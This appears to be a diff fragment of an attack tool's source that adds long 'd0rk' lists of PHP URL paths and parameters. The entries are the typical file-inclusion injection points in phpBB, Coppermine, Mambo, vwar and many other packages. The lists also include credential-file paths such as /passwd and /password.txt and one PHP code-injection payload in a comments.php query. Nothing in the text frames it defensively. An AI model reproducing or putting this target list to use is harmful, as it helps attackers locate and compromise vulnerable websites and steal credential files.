+d0rk += [ '/include/newvisitor.inc.php?lvcincludedir', '/include/write.php?dir', '/includes/archive/archivetopic.php?phpbbrootpath', '/includes/calendar.php?phpcrootpath', '/includes/dbal.php?eqdkprootpath', '/includes/dbal.php?eqdkprootpathEQdkp', '/includes/dbal.php?eqdkprootpathpoweredbyEQdkp', '/includes/functions.php?phpbbrootpath', '/includes/functionsportal.php?phpbbrootpath', '/includes/header.php?systempath', '/includes/includeonce.php?includefile', '/includes/includeonde.php?includefile', '/includes/kbconstants.php?modulerootpath', '/includes/kbconstants.php?modulerootpathBase', '/includes/kbconstants.php?modulerootpathKnowledge', '/includes/kbconstants.php?modulerootpathKnowledgeBase', '/includes/kbconstants.php?modulerootpathPoweredbyKnowledgeBase', '/includes/lang/.php?pathtoroot', '/includes/mxfunctionsch.php?phpbbrootpath', '/includes/openid/Auth/OpenID/BBStore.php?openidrootpath', '/includes/orderSuccess.inc.php?glob1&cartorderid1&glob[rootDir]', '/includes/orderSuccess.inc.php?glob1&cartorderid1&glob[rootDir]/class.mysql.php?pathtobtdir/include/footer.inc.php?AMLconfig[cfgserverpath]', '/includes/search.php?GlobalSettings[templatesDirectory]', '/includes/setup.php?phpcrootpath', '/index.inc.php?PATHIncludes', '/index.php/main.php?x', '/index.php3?act', '/index.php3?file', '/index.php3?i', '/index.php3?id', '/index.php3?l', '/index.php3?lang', '/index.php3?p', '/index.php3?pag', '/index.php3?page', '/index.php3?pg', '/index.php3?s', '/index.php4?lang', '/index.php5?lang', '/index.php?', '/index.php?L2', '/index.php?Load', '/index.php?REQUEST&REQUEST%5boption%5dcomcontent&REQUEST%5bItemid%5d1&GLOBALS&mosConfigabsolutepath', '/index.php?REQUEST&REQUEST[option]comcontent&REQUEST[Itemid]1&GLOBALS&mosConfigabsolutepath', '/index.php?RPPATH', '/index.php?TWC', '/index.php?a', '/index.php?acao', '/index.php?act', '/index.php?action', '/index.php?addr', '/index.php?adresa', '/index.php?arg', '/index.php?arq', '/index.php?arquivo', '/index.php?b', '/index.php?ba', '/index.php?babInstPath', '/index.php?babInstallPath', '/index.php?bas', '/index.php?base', '/index.php?basedir', '/index.php?basepath', '/index.php?c', '/index.php?cal', '/index.php?canal', '/index.php?cat', '/index.php?channel', '/index.php?chapter', '/index.php?classifiedpath', '/index.php?cmd', '/index.php?cms', '/index.php?cms/index.php?cms', '/index.php?command', '/index.php?configFile', '/index.php?cont', '/index.php?content', '/index.php?conteudo', '/index.php?d1', '/index.php?def', '/index.php?dept', '/index.php?disp', '/index.php?dn', '/index.php?dn/index.php?dn', '/index.php?dnindex.php?dn', '/index.php?dnphp?dn', '/index.php?do', '/index.php?doc', '/index.php?dok', '/index.php?dsp', '/index.php?e', '/index.php?ev', '/index.php?exec', '/index.php?f', '/index.php?f1', '/index.php?fPage', '/index.php?fase', '/index.php?field', '/index.php?file', '/index.php?filepath', '/index.php?filesite.dk', '/index.php?fn', '/index.php?frommarketY&pageurl', '/index.php?fset', '/index.php?func', '/index.php?functioncustom&custom', '/index.php?go', '/index.php?go1', '/index.php?goto', '/index.php?hl', '/index.php?id&lang', '/index.php?id&langindex.php?id', '/index.php?id&langphp?id', '/index.php?id&page', '/index.php?id&pageindex.php?id', '/index.php?id&pagephp?id', '/index.php?id1&lang', '/index.php?inc', '/index.php?incl', '/index.php?include', '/index.php?index', '/index.php?inhalt', '/index.php?interurl', '/index.php?ir', '/index.php?j', '/index.php?kobr', '/index.php?l', '/index.php?lang&page', '/index.php?lang', '/index.php?langc', '/index.php?langen&cat', '/index.php?langen&catindex.php?lang', '/index.php?langen&catphp?lang', '/index.php?langen&page', '/index.php?langen&pageindex.php?lang', '/index.php?langen&pagephp?lang', '/index.php?langgr&file', '/index.php?level', '/index.php?lg', '/index.php?link', '/index.php?lk', '/index.php?ln', '/index.php?lng', '/index.php?lnk', '/index.php?lnphp?ln', '/index.php?loc&cat', '/index.php?loc&catindex.php?loc', '/index.php?loc&catphp?loc', '/index.php?loc&lang', '/index.php?loc&langindex.php?loc', '/index.php?loc&langphp?loc', '/index.php?loc&page', '/index.php?loc&pageindex.php?loc', '/index.php?loc', '/index.php?loca', '/index.php?locphp?loc', '/index.php?locstart&page', '/index.php?locstart&pageindex.php?loc', '/index.php?ltr', '/index.php?m', '/index.php?main', '/index.php?meio', '/index.php?meio.php', '/index.php?menu', '/index.php?menudeti&page', '/index.php?mf', '/index.php?mid', '/index.php?middle', '/index.php?middlePart', '/index.php?mn', '/index.php?mod', '/index.php?mode', '/index.php?modo', '/index.php?module', '/index.php?myContent', '/index.php?new', '/index.php?news', '/index.php?nic', '/index.php?oldal', '/index.php?op', '/index.php?opcao', '/index.php?opcion', '/index.php?open', '/index.php?openfile', '/index.php?option', '/index.php?ort', '/index.php?p', '/index.php?pag', '/index.php?page&lang', '/index.php?page', '/index.php?page1', '/index.php?pageN', '/index.php?pager', '/index.php?pagesite.dk', '/index.php?pageurl', '/index.php?pagina', '/index.php?pagina1', '/index.php?param' ]
+d0rk += [ '/index.php?path', '/index.php?pg', '/index.php?pgID', '/index.php?pilih', '/index.php?place', '/index.php?play', '/index.php?plugin', '/index.php?poll', '/index.php?pr', '/index.php?pre', '/index.php?pref', '/index.php?principal', '/index.php?prod', '/index.php?product', '/index.php?r', '/index.php?rage', '/index.php?recipe', '/index.php?redir', '/index.php?rootpath', '/index.php?s', '/index.php?screen', '/index.php?sec', '/index.php?secao', '/index.php?seccion', '/index.php?seccion/index.php?seccion', '/index.php?seccionphp?seccion', '/index.php?seite', '/index.php?seite/index.php?seite', '/index.php?seitephp?seite', '/index.php?sekce', '/index.php?sel', '/index.php?select', '/index.php?set', '/index.php?sf', '/index.php?show', '/index.php?side', '/index.php?sit', '/index.php?site', '/index.php?site1', '/index.php?sivu', '/index.php?skinfile', '/index.php?slang', '/index.php?slang/index.php?slang', '/index.php?slangindex.php?slang', '/index.php?slangphp?slang', '/index.php?sort', '/index.php?spage', '/index.php?ss', '/index.php?st', '/index.php?str', '/index.php?stranica', '/index.php?strona', '/index.php?sub', '/index.php?subp', '/index.php?subpage', '/index.php?t', '/index.php?table', '/index.php?task', '/index.php?template', '/index.php?templateid', '/index.php?term', '/index.php?theme', '/index.php?themesdir', '/index.php?tipo', '/index.php?to', '/index.php?topic', '/index.php?trans', '/index.php?type', '/index.php?u', '/index.php?url', '/index.php?v', '/index.php?var', '/index.php?var1', '/index.php?var2', '/index.php?ver', '/index.php?vis', '/index.php?vis/index.php?vis', '/index.php?visphp?vis', '/index.php?visualizar', '/index.php?vpagina', '/index.php?w', '/index.php?way', '/index.php?where', '/index.php?wpage', '/index.php?x', '/index.php?y', '/index.php?z', '/index.phpmain.php?x', '/index0.php?show', '/index1.php?', '/index1.php?OpenPage', '/index1.php?[]', '/index1.php?abre', '/index1.php?action', '/index1.php?adresa', '/index1.php?arg', '/index1.php?arq', '/index1.php?b', '/index1.php?c', '/index1.php?chapter', '/index1.php?choix', '/index1.php?cmd', '/index1.php?d', '/index1.php?dat', '/index1.php?dir', '/index1.php?filepath', '/index1.php?func', '/index1.php?get', '/index1.php?go', '/index1.php?goFile', '/index1.php?home', '/index1.php?inc', '/index1.php?incl', '/index1.php?itemnav', '/index1.php?l', '/index1.php?link', '/index1.php?lk', '/index1.php?ln', '/index1.php?lnphp?ln', '/index1.php?load', '/index1.php?loc', '/index1.php?ltr', '/index1.php?main', '/index1.php?menu', '/index1.php?mid', '/index1.php?mod', '/index1.php?modo', '/index1.php?my', '/index1.php?nav', '/index1.php?nivel', '/index1.php?o', '/index1.php?oldal', '/index1.php?op', '/index1.php?p', '/index1.php?pa', '/index1.php?page', '/index1.php?pagina', '/index1.php?param', '/index1.php?path', '/index1.php?pg', '/index1.php?poll', '/index1.php?pr', '/index1.php?pre', '/index1.php?qry', '/index1.php?read', '/index1.php?recipe', '/index1.php?redirect', '/index1.php?root', '/index1.php?s', '/index1.php?second', '/index1.php?seite', '/index1.php?sekce', '/index1.php?show', '/index1.php?showpage', '/index1.php?site', '/index1.php?str', '/index1.php?strona', '/index1.php?subject', '/index1.php?t', '/index1.php?table', '/index1.php?tipo', '/index1.php?type', '/index1.php?url', '/index1.php?v', '/index1.php?var', '/index1.php?x', '/index2.php?', '/index2.php?DoAction', '/index2.php?ID', '/index2.php?OpenPage', '/index2.php?action', '/index2.php?adresa', '/index2.php?arg', '/index2.php?arq', '/index2.php?asciiseite', '/index2.php?basedir', '/index2.php?basepath', '/index2.php?c', '/index2.php?category', '/index2.php?channel', '/index2.php?chapter', '/index2.php?choix', '/index2.php?cmd', '/index2.php?cont', '/index2.php?content', '/index2.php?corpo', '/index2.php?d', '/index2.php?doshow', '/index2.php?e', '/index2.php?f', '/index2.php?filepath', '/index2.php?get', '/index2.php?goto', '/index2.php?home', '/index2.php?i', '/index2.php?in', '/index2.php?inc', '/index2.php?incl', '/index2.php?include', '/index2.php?ir', '/index2.php?itemnav', '/index2.php?ki', '/index2.php?l', '/index2.php?left', '/index2.php?lg', '/index2.php?link', '/index2.php?lk', '/index2.php?ln', '/index2.php?lng', '/index2.php?load', '/index2.php?loader', '/index2.php?loc', '/index2.php?loca', '/index2.php?meio', '/index2.php?menu', '/index2.php?module', '/index2.php?my', '/index2.php?o', '/index2.php?oldal', '/index2.php?open', '/index2.php?option', '/index2.php?p', '/index2.php?pa', '/index2.php?pag', '/index2.php?page', '/index2.php?param', '/index2.php?pg', '/index2.php?phpbbrootpath', '/index2.php?poll', '/index2.php?pre', '/index2.php?pref', '/index2.php?qry', '/index2.php?recipe', '/index2.php?redirect', '/index2.php?ref', '/index2.php?rub', '/index2.php?s', '/index2.php?second', '/index2.php?section', '/index2.php?sekce', '/index2.php?showpage', '/index2.php?strona', '/index2.php?table', '/index2.php?thispage', '/index2.php?to', '/index2.php?type', '/index2.php?u', '/index2.php?urlpage', '/index2.php?var', '/index2.php?x', '/index3.php?', '/index3.php?abre' ]
+d0rk += [ '/index3.php?addr', '/index3.php?adresa', '/index3.php?basedir', '/index3.php?channel', '/index3.php?chapter', '/index3.php?choix', '/index3.php?cmd', '/index3.php?d', '/index3.php?destino', '/index3.php?dir', '/index3.php?disp', '/index3.php?ev', '/index3.php?get', '/index3.php?go', '/index3.php?home', '/index3.php?inc', '/index3.php?include', '/index3.php?index', '/index3.php?ir', '/index3.php?itemnav', '/index3.php?left', '/index3.php?link', '/index3.php?loader', '/index3.php?menue', '/index3.php?mid', '/index3.php?middle', '/index3.php?mod', '/index3.php?my', '/index3.php?nivel', '/index3.php?oldal', '/index3.php?open', '/index3.php?option', '/index3.php?p', '/index3.php?pag', '/index3.php?page', '/index3.php?panel', '/index3.php?path', '/index3.php?phpbbrootpath', '/index3.php?poll', '/index3.php?pre', '/index3.php?pref', '/index3.php?q', '/index3.php?read', '/index3.php?redirect', '/index3.php?ref', '/index3.php?rub', '/index3.php?secao', '/index3.php?secc', '/index3.php?seccion', '/index3.php?second', '/index3.php?sekce', '/index3.php?showpage', '/index3.php?sivu', '/index3.php?sp', '/index3.php?start', '/index3.php?t', '/index3.php?thispage', '/index3.php?tipo', '/index3.php?type', '/index3.php?url', '/index3.php?var', '/index3.php?x', '/index3.php?xlink', '/index4.php?body', '/indexprincipal.php?pagina', '/info.php?', '/info.php?[]', '/info.php?adresa', '/info.php?basedir', '/info.php?c', '/info.php?chapter', '/info.php?content', '/info.php?doshow', '/info.php?ev', '/info.php?eval', '/info.php?f', '/info.php?filepath', '/info.php?go', '/info.php?header', '/info.php?home', '/info.php?in', '/info.php?incl', '/info.php?ir', '/info.php?itemnav', '/info.php?j', '/info.php?ki', '/info.php?l', '/info.php?ln', '/info.php?loader', '/info.php?menue', '/info.php?mid', '/info.php?middlePart', '/info.php?o', '/info.php?oldal', '/info.php?op', '/info.php?opcion', '/info.php?option', '/info.php?p', '/info.php?page', '/info.php?pagina', '/info.php?param', '/info.php?phpbbrootpath', '/info.php?pref', '/info.php?r', '/info.php?read', '/info.php?recipe', '/info.php?redirect', '/info.php?ref', '/info.php?rub', '/info.php?sec', '/info.php?secao', '/info.php?seccion', '/info.php?start', '/info.php?strona', '/info.php?subject', '/info.php?t', '/info.php?url', '/info.php?var', '/info.php?xlink', '/info.php?z', '/install/index.php?lng./../include/main.inc&GPATH', '/intern/admin/?rootdir', '/intern/admin/other/backup.php?admin1&rootdir', '/intern/clan/memberadd.php?rootdir', '/intern/config/forum.php?rootdir', '/intern/config/key2.php?rootdir', '/interna.php?meio', '/interna.php?meiophp?meio', '/interna/tinymce/plugins/ibrowser/ibrowser.php?tinyMCEimglibinclude', '/jaf/index.php?show', '/jobs.cgi?a9&t', '/joomla/index.php?optioncomrestaurante&task', '/jscript.php?myms[root]', '/kalender.php?vis', '/kietu/index.php?kietu[urlhit]', '/lang.php?arg', '/lang.php?arq', '/lang.php?lk', '/lang.php?ln', '/lang.php?subp', '/lang.php?subpage', '/latinbitz.cgi?t', '/layout.php?OpenPage', '/layout.php?abre', '/layout.php?action', '/layout.php?addr', '/layout.php?basepath', '/layout.php?c', '/layout.php?category', '/layout.php?chapter', '/layout.php?choix', '/layout.php?cmd', '/layout.php?cont', '/layout.php?disp', '/layout.php?g', '/layout.php?goto', '/layout.php?incl', '/layout.php?ir', '/layout.php?link', '/layout.php?loader', '/layout.php?menue', '/layout.php?modo', '/layout.php?my', '/layout.php?nivel', '/layout.php?numero', '/layout.php?oldal', '/layout.php?opcion', '/layout.php?page', '/layout.php?pagina', '/layout.php?panel', '/layout.php?path', '/layout.php?play', '/layout.php?poll', '/layout.php?pref', '/layout.php?qry', '/layout.php?secao', '/layout.php?section', '/layout.php?seite', '/layout.php?sekce', '/layout.php?strona', '/layout.php?thispage', '/layout.php?tipo', '/layout.php?url', '/layout.php?var', '/layout.php?where', '/layout.php?xlink', '/layout.php?z', '/layouts/settings', '/lc.cgi?a', '/lib/base.php?BaseCfg[BaseDir]', '/lib/db/ezsql.php?libpath', '/lib/db/ezsql.php?libpathttCMS', '/lib/db/ezsql.php?libpathttCMS<v4', '/lib/functions.php?DOCROOT', '/lib/gore.php?libpath', '/lib/header.php?DOCROOT', '/lib/static/header.php?setmenu', '/lib/static/header.php?setmenuiPhotoAlbum', '/lib/static/header.php?setmenuiPhotoAlbumv1.1', '/library/editor/editor.php?root', '/library/lib.php?root', '/link.php?do', '/lire.php?rub', '/list.php?product', '/list.php?table', '/livehelp/inc/pipe.php?HCLpath', '/livesupport/inc/pipe.php?HCLpath', '/llindex.php?sub', '/ln.php?ln', '/loc.php?l', '/loc.php?lang', '/loc.php?loc', '/log.nsf', '/login.php?dir', '/login.php?dirlogin.php?dir', '/login.php?loca', '/m2f/m2fphpbb204.php?m2frootpath', '/magazine.php?inc', '/mai.php?act', '/mai.php?loc', '/mai.php?src', '/main.html.php?seite', '/main.php3?act', '/main.php5?page', '/main.php?', '/main.php?a', '/main.php?action', '/main.php?addr', '/main.php?adresa', '/main.php?arg', '/main.php?ba', '/main.php?basepath', '/main.php?body', '/main.php?category', '/main.php?chapter', '/main.php?command', '/main.php?content', '/main.php?corpo', '/main.php?d1' ]
+d0rk += [ '/main.php?dir', '/main.php?disp', '/main.php?doshow', '/main.php?e', '/main.php?eval', '/main.php?f1', '/main.php?filepath', '/main.php?fset', '/main.php?goto', '/main.php?h', '/main.php?id', '/main.php?inc', '/main.php?include', '/main.php?index', '/main.php?ir', '/main.php?itemnav', '/main.php?j', '/main.php?link', '/main.php?ln', '/main.php?load', '/main.php?loc', '/main.php?ltr', '/main.php?middle', '/main.php?mod', '/main.php?my', '/main.php?oldal', '/main.php?opcion', '/main.php?p', '/main.php?page', '/main.php?pagina', '/main.php?param', '/main.php?path', '/main.php?pg', '/main.php?pre', '/main.php?pref', '/main.php?r', '/main.php?ref', '/main.php?s', '/main.php?sayfa', '/main.php?sayfamain.php?sayfa', '/main.php?second', '/main.php?section', '/main.php?sit', '/main.php?site', '/main.php?start', '/main.php?str', '/main.php?strona', '/main.php?subject', '/main.php?table', '/main.php?thispage', '/main.php?tipo', '/main.php?type', '/main.php?url', '/main.php?v', '/main.php?view', '/main.php?vis', '/main.php?where', '/main.php?x', '/main.php?xlink', '/main1.php?arg', '/main1.php?ln', '/main2.php?ln', '/mainfile.php?MAINPATH', '/mainsite.php?page', '/mambots/content/multithumb/multithumb.php?mosConfigabsolutepath', '/manage/cgi/cgiproc', '/manager/admin/index.php?MGR', '/manager/admin/pins.php?MGR', '/manager/admin/uins.php?MGR', '/map.php?loc', '/mcf.php?content', '/mcf.php?contentmcf.php', '/media.cgi?a11&t', '/media.php?page', '/mediagallery/publichtml/maint/ftpmedia.php?MGCONF[pathhtml]', '/menu.php?functionsfile', '/middle.php?file', '/middle.php?page', '/misc.php?do', '/mod.php?OpenPage', '/mod.php?action', '/mod.php?addr', '/mod.php?b', '/mod.php?channel', '/mod.php?chapter', '/mod.php?choix', '/mod.php?cont', '/mod.php?content', '/mod.php?corpo', '/mod.php?d', '/mod.php?destino', '/mod.php?dir', '/mod.php?ev', '/mod.php?goFile', '/mod.php?home', '/mod.php?incl', '/mod.php?include', '/mod.php?index', '/mod.php?ir', '/mod.php?j', '/mod.php?lang', '/mod.php?link', '/mod.php?m', '/mod.php?middle', '/mod.php?mod', '/mod.php?module', '/mod.php?numero', '/mod.php?oldal', '/mod.php?p', '/mod.php?pag', '/mod.php?page', '/mod.php?pagina', '/mod.php?path', '/mod.php?pg', '/mod.php?phpbbrootpath', '/mod.php?play', '/mod.php?pre', '/mod.php?qry', '/mod.php?recipe', '/mod.php?secao', '/mod.php?secc', '/mod.php?seccion', '/mod.php?section', '/mod.php?sekce', '/mod.php?start', '/mod.php?strona', '/mod.php?thispage', '/mod.php?tipo', '/mod.php?to', '/mod.php?v', '/mod.php?var', '/modcp/intextModeratorvBulletin', '/modifyform.html?code', '/modul.php?mod', '/module.php?mod', '/moduledb.php?pivotpath', '/modules.php?name', '/modules.php?op', '/modules/4nAlbum/public/displayCategory.php?basepath', '/modules/AllMyGuests/signin.php?AMGconfig[cfgserverpath]', '/modules/Discipline/CategoryBreakdownTime.php?FocusPath', '/modules/Discipline/CategoryBreakdownTime.php?staticpath', '/modules/Discipline/StudentFieldBreakdown.php?staticpath', '/modules/Forums/admin/admindbutilities.php?phpbbrootpath', '/modules/Forums/admin/adminstyles.php?phpbbrootpath', '/modules/MyGuests/signin.php?AMGconfig[cfgserverpath]', '/modules/MyeGallery/index.php?basepath', '/modules/MyeGallery/public/displayCategory.php?basepath', '/modules/MyeGery/public/displayCategory.php?basepath', '/modules/PNphpBB2/includes/functionsadmin.php?phpbbrootpath', '/modules/TotalCalendar/about.php?incdir', '/modules/TotalCalendar/about.php?incdir/TotalCalendar', '/modules/TotalCalendar/about.php?incdirTotalCalendar', '/modules/addons/plugin.php?docroot', '/modules/agendax/addevent.inc.php?agendaxpath', '/modules/coppermine/include/init.inc.php?CPGMDIR', '/modules/coppermine/themes/coppercop/theme.php?THEMEDIR', '/modules/coppermine/themes/coppercop/theme.php?THEMEDIRcoppermine', '/modules/coppermine/themes/coppercop/theme.php?THEMEDIRcopperminemwchat/libs/startlobby.php?CONFIG[MWCHATLibs]', '/modules/coppermine/themes/default/theme.php?THEMEDIR', '/modules/kernel/system/startup.php?CFGPHPGIGGLEROOT', '/modules/kernel/system/startup.php?CFGPHPGIGGLEROOTCFGPHPGIGGLEROOT', '/modules/links/showlinks.php?home&rootdpzZz&gs', '/modules/links/submitlinks.php?rootdpzZz&gs', '/modules/modmainmenu.php?mosConfigabsolutepath', '/modules/newbbplus/class/forumpollrenderer.php?bbPath[path]', '/modules/poll/inlinepoll.php?home&rootdpzZz&gs', '/modules/poll/showpoll.php?home&rootdpzZz&gs', '/modules/postguestbook/styles/internal/header.php?tplpgbmoddir', '/modules/postguestbook/styles/internal/header.php?tplpgbmoddirPostGuestbook', '/modules/postguestbook/styles/internal/header.php?tplpgbmoddirPostGuestbook0.6.1', '/modules/search/search.php?home&rootdpzZz&gs', '/modules/tasks/viewgantt.php?rootdir', '/modules/vwar/admin/admin.php?vwarroot', '/modules/vwar/admin/admin.php?vwarrootindex.php?loc', '/modules/vwar/admin/admin.php?vwarrootvwar', '/modules/vwar/convert/mvcwconver.php?step1&vwarroot', '/modules/xgallery/upgradealbum.php?GALLERYBASEDIR', '/modules/xgery/upgradealbum.php?GERYBASEDIR', '/modules/xoopsgallery/upgradealbum.php?GALLERYBASEDIR' ]
+d0rk += [ '/modules/xoopsgery/upgradealbum.php?GERYBASEDIR', '/more.php?sub', '/msadc/Samples/SELECTOR/codebrws.cfm', '/msadc/Samples/SELECTOR/showcode.asp', '/msadc/msadcs.dll', '/msadc/samples/adctest.asp', '/msads/samples/selector/showcode.asp', '/mwchat/libs/startlobby.php?CONFIG[MWCHATLibs]', '/myPHPCalendar/admin.php?caldir', '/myevent.php?myeventpath', '/mylinks/include/footer.inc.php?AMLconfig[cfgserverpath]', '/mylinks/include/info.inc.php?AMVconfig[cfgserverpath]', '/names.nsf', '/nav.php?g', '/nav.php?go', '/nav.php?lk', '/nav.php?ln', '/nav.php?loc', '/nav.php?nav', '/nav.php?p', '/nav.php?pag', '/nav.php?page', '/nav.php?pagina', '/nav.php?pg', '/ncaster/admin/addons/archive/archive.php?adminfolder', '/ndex.php?p', '/newbb/print.php?forumtopicid', '/newbbplus/', '/news.cgi?a114&t', '/news.cgi?alatest&t', '/news.cgi?t', '/news.php?CONFIG[scriptpath]', '/news/archive.php?opyearmonth', '/news/newstopicinc.php?indir', '/newsdesk.cgi?alatest&t', '/newsdesk.cgi?t', '/newsdetail.php?file', '/newsletter/newsletter.php?waroot', '/newsupdate.cgi?alatest&t', '/nota.php?OpenPage', '/nota.php?abre', '/nota.php?adresa', '/nota.php?b', '/nota.php?basedir', '/nota.php?basepath', '/nota.php?category', '/nota.php?channel', '/nota.php?chapter', '/nota.php?cmd', '/nota.php?content', '/nota.php?corpo', '/nota.php?destino', '/nota.php?disp', '/nota.php?doshow', '/nota.php?eval', '/nota.php?filepath', '/nota.php?get', '/nota.php?goFile', '/nota.php?h', '/nota.php?header', '/nota.php?home', '/nota.php?in', '/nota.php?inc', '/nota.php?include', '/nota.php?ir', '/nota.php?itemnav', '/nota.php?ki', '/nota.php?lang', '/nota.php?left', '/nota.php?link', '/nota.php?m', '/nota.php?mid', '/nota.php?mod', '/nota.php?modo', '/nota.php?module', '/nota.php?n', '/nota.php?nivel', '/nota.php?oldal', '/nota.php?opcion', '/nota.php?option', '/nota.php?pag', '/nota.php?pagina', '/nota.php?panel', '/nota.php?pg', '/nota.php?play', '/nota.php?poll', '/nota.php?pr', '/nota.php?pre', '/nota.php?qry', '/nota.php?rub', '/nota.php?sec', '/nota.php?secc', '/nota.php?seccion', '/nota.php?second', '/nota.php?seite', '/nota.php?sekce', '/nota.php?showpage', '/nota.php?subject', '/nota.php?t', '/nota.php?tipo', '/nota.php?url', '/nota.php?v', '/noticias.php?arq', '/nuboardv0.5/admin/index.php?site', '/nuseo/admin/nuseoadmind.php?nuseodir', '/ocp103/index.php?reqpath', '/oldreports.php?file', '/openiadmin/base/fileloader.php?config[openidir]', '/order.php?l', '/order.php?lang', '/order.php?list', '/order.php?ln', '/order.php?p', '/order.php?pag', '/order.php?page', '/order.php?pg', '/order.php?wp', '/order/login.php?svrrootscript', '/os/pointer.php?url', '/osticket/include/main.php?config[searchdisp]true&includedir', '/p.php?p', '/padrao.php?', '/padrao.php?OpenPage', '/padrao.php?[]', '/padrao.php?a', '/padrao.php?abre', '/padrao.php?addr', '/padrao.php?basedir', '/padrao.php?basepath', '/padrao.php?c', '/padrao.php?choix', '/padrao.php?cont', '/padrao.php?corpo', '/padrao.php?d', '/padrao.php?destino', '/padrao.php?eval', '/padrao.php?filepath', '/padrao.php?h', '/padrao.php?header', '/padrao.php?incl', '/padrao.php?index', '/padrao.php?ir', '/padrao.php?link', '/padrao.php?loc', '/padrao.php?menu', '/padrao.php?menue', '/padrao.php?mid', '/padrao.php?middle', '/padrao.php?n', '/padrao.php?nivel', '/padrao.php?o', '/padrao.php?oldal', '/padrao.php?op', '/padrao.php?open', '/padrao.php?p', '/padrao.php?pag', '/padrao.php?page', '/padrao.php?path', '/padrao.php?pre', '/padrao.php?qry', '/padrao.php?read', '/padrao.php?redirect', '/padrao.php?root', '/padrao.php?rub', '/padrao.php?secao', '/padrao.php?secc', '/padrao.php?seccion', '/padrao.php?section', '/padrao.php?seite', '/padrao.php?sekce', '/padrao.php?sivu', '/padrao.php?str', '/padrao.php?strona', '/padrao.php?subject', '/padrao.php?tipo', '/padrao.php?type', '/padrao.php?u', '/padrao.php?url', '/padrao.php?var', '/padrao.php?xlink', '/page.php5?id', '/page.php?OpenPage', '/page.php?[]', '/page.php?abre', '/page.php?action', '/page.php?addr', '/page.php?adresa', '/page.php?arq', '/page.php?basedir', '/page.php?chapter', '/page.php?choix', '/page.php?cmd', '/page.php?cont', '/page.php?doc', '/page.php?e', '/page.php?ev', '/page.php?eval', '/page.php?g', '/page.php?go', '/page.php?goto', '/page.php?inc', '/page.php?incl', '/page.php?ir', '/page.php?left', '/page.php?link', '/page.php?ln', '/page.php?load', '/page.php?loader', '/page.php?mid', '/page.php?middle', '/page.php?mod', '/page.php?modo', '/page.php?module', '/page.php?numero', '/page.php?oldal', '/page.php?option', '/page.php?p', '/page.php?pa', '/page.php?panel', '/page.php?phpbbrootpath', '/page.php?pref', '/page.php?q', '/page.php?qry', '/page.php?read', '/page.php?recipe', '/page.php?redirect', '/page.php?s', '/page.php?secao', '/page.php?section', '/page.php?seite', '/page.php?showpage', '/page.php?sivu', '/page.php?strona', '/page.php?subject', '/page.php?tipo', '/page.php?url', '/page.php?view', '/page.php?where', '/page.php?z', '/pages.php?page', '/pagina.php?OpenPage', '/pagina.php?basedir', '/pagina.php?basepath', '/pagina.php?category' ]
+d0rk += [ '/pagina.php?channel', '/pagina.php?chapter', '/pagina.php?choix', '/pagina.php?cmd', '/pagina.php?dir', '/pagina.php?ev', '/pagina.php?filepath', '/pagina.php?g', '/pagina.php?go', '/pagina.php?goto', '/pagina.php?header', '/pagina.php?home', '/pagina.php?id', '/pagina.php?in', '/pagina.php?incl', '/pagina.php?include', '/pagina.php?index', '/pagina.php?ir', '/pagina.php?k', '/pagina.php?lang', '/pagina.php?left', '/pagina.php?link', '/pagina.php?load', '/pagina.php?loader', '/pagina.php?loc', '/pagina.php?mid', '/pagina.php?middlePart', '/pagina.php?modo', '/pagina.php?my', '/pagina.php?n', '/pagina.php?nivel', '/pagina.php?numero', '/pagina.php?oldal', '/pagina.php?pagina', '/pagina.php?panel', '/pagina.php?path', '/pagina.php?pr', '/pagina.php?pre', '/pagina.php?q', '/pagina.php?read', '/pagina.php?recipe', '/pagina.php?ref', '/pagina.php?sec', '/pagina.php?secao', '/pagina.php?seccion', '/pagina.php?section', '/pagina.php?sekce', '/pagina.php?start', '/pagina.php?str', '/pagina.php?thispage', '/pagina.php?tipo', '/pagina.php?to', '/pagina.php?type', '/pagina.php?u', '/pagina.php?v', '/pagina.php?z', '/paginedinamiche/main.php?pagina', '/palportal/index.php?page', '/palportal/index.php?page/palportal/', '/palportal/index.php?pagepalportal', '/passwd', '/passwd.txt', '/password', '/password.txt', '/path.php?', '/path.php?[]', '/path.php?action', '/path.php?addr', '/path.php?adresa', '/path.php?category', '/path.php?channel', '/path.php?chapter', '/path.php?cmd', '/path.php?destino', '/path.php?disp', '/path.php?doshow', '/path.php?ev', '/path.php?eval', '/path.php?filepath', '/path.php?goto', '/path.php?header', '/path.php?home', '/path.php?id', '/path.php?in', '/path.php?incl', '/path.php?ir', '/path.php?left', '/path.php?link', '/path.php?load', '/path.php?loader', '/path.php?menue', '/path.php?mid', '/path.php?middle', '/path.php?middlePart', '/path.php?my', '/path.php?nivel', '/path.php?numero', '/path.php?opcion', '/path.php?option', '/path.php?p', '/path.php?page', '/path.php?panel', '/path.php?path', '/path.php?play', '/path.php?pre', '/path.php?pref', '/path.php?qry', '/path.php?recipe', '/path.php?sec', '/path.php?secao', '/path.php?sivu', '/path.php?sp', '/path.php?start', '/path.php?strona', '/path.php?subject', '/path.php?thispage', '/path.php?tipo', '/path.php?type', '/path.php?var', '/path.php?where', '/path.php?xlink', '/path.php?y', '/path/index.php?functioncustom&custom', '/pathofcpcommerce/functions.php?prefix', '/phfito/phfitopost?SRCPATH', '/phorum/plugin/replace/plugin.php?PHORUM[settingsdir]', '/photoalb/lib/static/header.php?setmenu', '/phpcoin/config.php?CCFG[PKGPATHDBSE]', '/phpffl/phpfflfiles/programfiles/livedraft/admin.php?PHPFFLFILEROOT', '/phpffl/phpfflfiles/programfiles/livedraft/livedraft.php?PHPFFLFILEROOT', '/phpgwapi/setup/tablesupdate.inc.php?appdir', '/phphtml.php?htmlclasspath', '/phplivehelper/initiate.php?abspath', '/phpopenchat/contrib/yabbse/poc.php?sourcedir', '/phprojekt/lib/config.inc.php?pathpre', '/phprojekt/lib/gpcsvars.inc.php?pathpre', '/phprojekt/lib/layout/venus/venus.php?pathpre', '/phprojekt/lib/lib.inc.php?pathpre', '/phpsecurityadmin/include/logout.php?PSAPATH', '/phpshop/index.php?basedir', '/phpwcms/include/incext/spaw/dialogs/table.php?spawroot', '/phpwcmstemplate/incscript/frontendrender/navigation/configHTMLMENU.php?HTMLMENUDirPath', '/phpwcmstemplate/incscript/frontendrender/navigation/configPHPLM.php?HTMLMENUDirPath', '/pivot/modules/moduledb.php?pivotpath', '/pm/lib.inc.php?pmpath', '/poll/admin/common.inc.php?basepath', '/poll/comments.php?id{${include$ddd}}{${exit}}&ddd', '/pollvote/pollvote.php?pollname', '/pop.php?base', '/popupwindow.php?siteisproot', '/port.php?content', '/powerup.cgi?alatest&t', 